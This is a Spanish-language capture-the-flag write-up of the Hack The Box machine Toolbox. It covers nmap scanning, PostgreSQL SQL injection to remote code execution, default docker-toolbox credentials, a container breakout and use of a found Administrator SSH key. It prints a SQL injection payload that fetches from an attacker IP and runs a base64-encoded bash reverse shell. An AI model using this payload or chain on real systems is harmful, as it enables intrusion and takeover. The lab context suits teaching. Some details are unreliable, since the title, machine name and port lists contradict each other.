Hack The Box - Validation
...

Toolbox.png

Resumen
...

La máquina Toolbox fue abordada con un escaneo inicial de los puertos expuestos usando la herramienta nmap. El análisis reveló la presencia de un subdominio admin.megalogistic.com en el puerto TCP 443, lo que llevó a agregarlo al archivo /etc/hosts y a realizar una enumeración de la página expuesta. Durante esta fase, se identificó un formulario de inicio de sesión vulnerable a inyección SQL, aprovechando el conocimiento de que la DBMS subyacente era Postgres. Esto permitió la obtención de una reverse shell mediante la ejecución de comandos utilizando Burp Suite, accediendo así como el usuario Postgres y asegurando la user flag.

En cuanto a la escalada de privilegios, se dirigió la atención al puerto TCP 21 (FTP), ya que el informe de nmap indicaba la disponibilidad del usuario anonumous. Al iniciar sesión como este usuario, se descubrió un archivo .exe denominado docker-toolbox.exe. Una rápida investigación en Google reveló que esta herramienta a menudo tiene credenciales predeterminadas. Aprovechando esto, se escaneó los puertos internos, descubriendo que el puerto 22 estaba abierto. Esto permitió la conexión a la máquina anfitriona con las credenciales predeterminadas, obteniendo así una shell como el usuario docker. La exploración de la carpeta raíz reveló la presencia de una carpeta 'c', que imitaba la estructura de directorios de Windows, dentro de la cual se encontraba la carpeta de Administrador con un directorio .ssh que contenía la llave privada. Esta llave se copió a la máquina atacante, lo que resultó en una shell como el usuario Administrador y, finalmente, en la captura de la última flag.

Keywords: Port enumeration, docker-toolbox, ftp, user anonymous, PostgreSQL Injection, Remote Command Execution, privilege escalation.

Palabras Clave: Enumeración de puertos, docker-toolbox, ftp, usuario anonymous, Inyección PostgreSQL, Ejecución Remota de comandos, escalada de privilegios.

Realizado por Luis Ramos Moncayo, a fecha 8 de febrero de 2024

Reconocimiento
...

Nmap
...

Se emplea la herramienta Nmap para hacer el reconocimiento de puertos de la máquina Horizontall y de esta forma conocer cuales están abiertos.

> nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.10.236 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-07 22:42 CET
Initiating SYN Stealth Scan at 22:42
Scanning 10.10.10.236 [65535 ports]
Discovered open port 445/tcp on 10.10.10.236
Discovered open port 443/tcp on 10.10.10.236
Discovered open port 22/tcp on 10.10.10.236
Discovered open port 135/tcp on 10.10.10.236
Discovered open port 139/tcp on 10.10.10.236
Discovered open port 21/tcp on 10.10.10.236
Discovered open port 49670/tcp on 10.10.10.236
Discovered open port 49667/tcp on 10.10.10.236
Completed SYN Stealth Scan at 22:57, 880.88s elapsed (65535 total ports)
Nmap scan report for 10.10.10.236
Host is up, received user-set (0.68s latency).
Scanned at 2024-02-07 22:42:34 CET for 881s
Not shown: 46298 filtered tcp ports (no-response), 19229 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 127
22/tcp    open  ssh          syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
443/tcp   open  https        syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49670/tcp open  unknown      syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 881.09 seconds
           Raw packets sent: 177319 (7.802MB) | Rcvd: 19240 (769.644KB)
Parámetros Nmap
-p-Escanea todos los 65535 puertos
–openSolo muestra los puertos abiertos
-sSEscaneo TCP SYN
–min-rateEnvío mínimo de paquetes
-vvvMuestra la información del escaneo mientras está ejecutándose
-nNo realiza resolución DNS
-PnNo realiza Host Discovery
-oGExporta el output en un archivo con formato grepeable

Se confirma que tiene abiertos los siguientes puertos: 22 (ssh) y 80 (http), por lo que mediante el archivo grepeable que creamos anteriormente, se hara uso de una función personalidada en la .zshrc, que extrae y copia a la clipboard los puertos resultantes de la primera consulta nmap para luego pegarlos en una siguiente.

> extractPorts allPorts

[+] Extracting Information....
  
  [+] IP Address: 10.10.10.236
  [+] Open Ports: 21,22,135,139,443,445,49668,49670 
  
[+] Ports copied to clipboard

Con esta siguiente consulta se buscará enumerar que servicios están expuertos y sus respectivas versiones.

> nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49669 10.10.10.236 -oN targeted
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-07 23:06 CET
Nmap scan report for admin.megalogistic.com (10.10.10.236)
Host is up (0.087s latency). 

PORT      STATE  SERVICE       VERSION
21/tcp    open   ftp           FileZilla ftpd
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
22/tcp    open   ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open   ssl/http      Apache httpd 2.4.38 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_ssl-date: TLS randomness does not represent time
|_http-title: Administrator Login
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
| tls-alpn:
|_  http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
445/tcp   open   microsoft-ds?
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open   msrpc         Microsoft Windows RPC
49669/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|   date: 2024-02-07T22:07:28
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.37 seconds
Parámetros Nmap
-sCConjunto de Scripts básicos de reconocimiento
-sVVerificación de las versiones de los servicios expuestos
-oNGuarda el output en un archivo

Enumeración
...

En el escanéo se observa que en el puerto TCP 443 existe un subdominio admin.megalogistic.com, por ende existe el dominio megalogistic.com. Para que resuelva el dominio en el navegador, se procede añadirlos al archivo /etc/hosts.

1_editar_etc_hosts.png

Puerto TCP 443 - HTTPS
...

En el puerto 443 se observa que tiene expuesto una página web. Se enumeró para encontrar alguna vulnerabilidad que se pueda explotar, pero no se encontró ninguna.

2_web_principal.png

Recordando que en el análisis nmap se encontró un subdominio, por lo que se procede a revisar la página que se encuentra expuesta en admin.megalogistic.com.

3_web_subdomino_admin_login.png

Explotación
...

Postgre Inyección SQL - Shell as Postgre
...

En la página, presenta un panel de autenticación y mediante burpsuite se capturará la petición, de esta manera ir probando que campo pueda ser vulnerable a inyección SQL.

4_capturamos_peticion_session.png

Se confirma que el campo username es vulnerable a inyección SQL.

5_Vulnerable_sql.png

Se requiere conocer que tipo de dbms corre por detrás. Mediante la provocación de un error, se logra conocer que el dbms es un PostgreSQL.

6_sql_postgre_error.png

Conociendo que por detrás corre PostgreSQL, se podrá ejecutar comandos de manera remota (RCE). Primero, se tiene que crear un script en bash para la obtención de una reverse shell por el puerto 4443 en este caso.

7_creamos_script_reverse_shell.png

El script que se creo anteriormente se lo tiene que pasar a base64, de la forma que se muestra continuación.

8_script_to_base64.png

Creamos dos instancias de terminal, en una se tiene que estár por el puerto que se colocó en el script, es decir el puerto 4443, y en la otra instancia se crea un servidor web por el puerto 80 utilizando python3.

9_en_escucha_webserver_python3.png

En burpsuite, se coloca un payload que se enviará el script que se paso a base64, para que la máquina víctima lo decodifice y lo ejecute con el comando bash.

username=admin'; copy (SELECT '') to program 'curl http://10.10.14.81?f=`echo -n "IyEvYmluL2Jhc2gKCmJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuODEvNDQ0MyAwPiYxJwo=" | base64 -d | bash`'-- -&password=

10_enviamos_sqli_rce_postgre.png

En la terminal donde se estaba en escucha, se obtiene una shell como el usuario Postgre y se captura la user flag.

11_shell_as_postgre.png

12_user_flag.png

Escalada de Privilegios
...

FTP - Usuario anonymous
...

En el escaneo de nmap se observa que el servicio FTP se encuentra expuesto y que además el usuario anonymous está disponible por lo que se procede a conectarse con este usuario.

13_ftp_anonymous_docker_toolbox.png

Listando los archivos existentes, se observa que existe un .exe llamado docker-toolbox.exe. Se busca acerca de esta herramienta en google, y se logra observar que existe usuario y contraseña por defecto.

14_credentials_docker_toolbox.png

Docker Breakout - Shell as docker
...

Se verifica que se encuentra en un docker, mediante el comando \textbf{ifconfig} se observa que se tiene la ip 172.17.0.2, por lo que se puede intuir que la máquina host tiene 172.17.0.1 como ip.

15_ip_docker.png

Mediante un escaneo de puertos internos con el uso de bash, se logra descubir los puertos: 22, 443, 2376 abiertos.

16_escaneo_puertos_internos.png

Conociendo las credenciales por defecto que existe en docker-toolbox y conociendo que el usuario docker no existe en la máquina actual, se procede a probarlo conectando a la máquina host. Se obtiene una shell como el usuario docker.

17_escapamos_docker.png

Shell as Administrator
...

Enumerando la máquina se observa que en la carpeta raíz se encuentra una carpeta con nombre 'c' que no tiene que ver nada con la raíz de un linux.

18_carpeta_c_en_carpeta_raiz.png

En la carpeta c se observa otra carpeta llamada Users que presenta una estructura de directorios igual que en Windows. Dentro de los usuarios se observa la carpeta Administrador.

19_Distribucion_igual_windows_usuario_Administrador.png

Dentro de la carpeta Administrador se observa que existe una carpeta .ssh puede haber la existencia de una llave privada.

20_ssh_carpeta.png

Se encuentra la llave privada como Administrador para la máquina host, por lo que se copia a la máquina atacante esta llave para poder conectarse por ssh sin necesidad de ingresar contraseña.

21_private_key_administrator.png

Se obtiene conexión a la máquina como el usuario Administrador logrando capturar la última flag.

22_shell_as_Administrator.png

23_Flag_as_root.png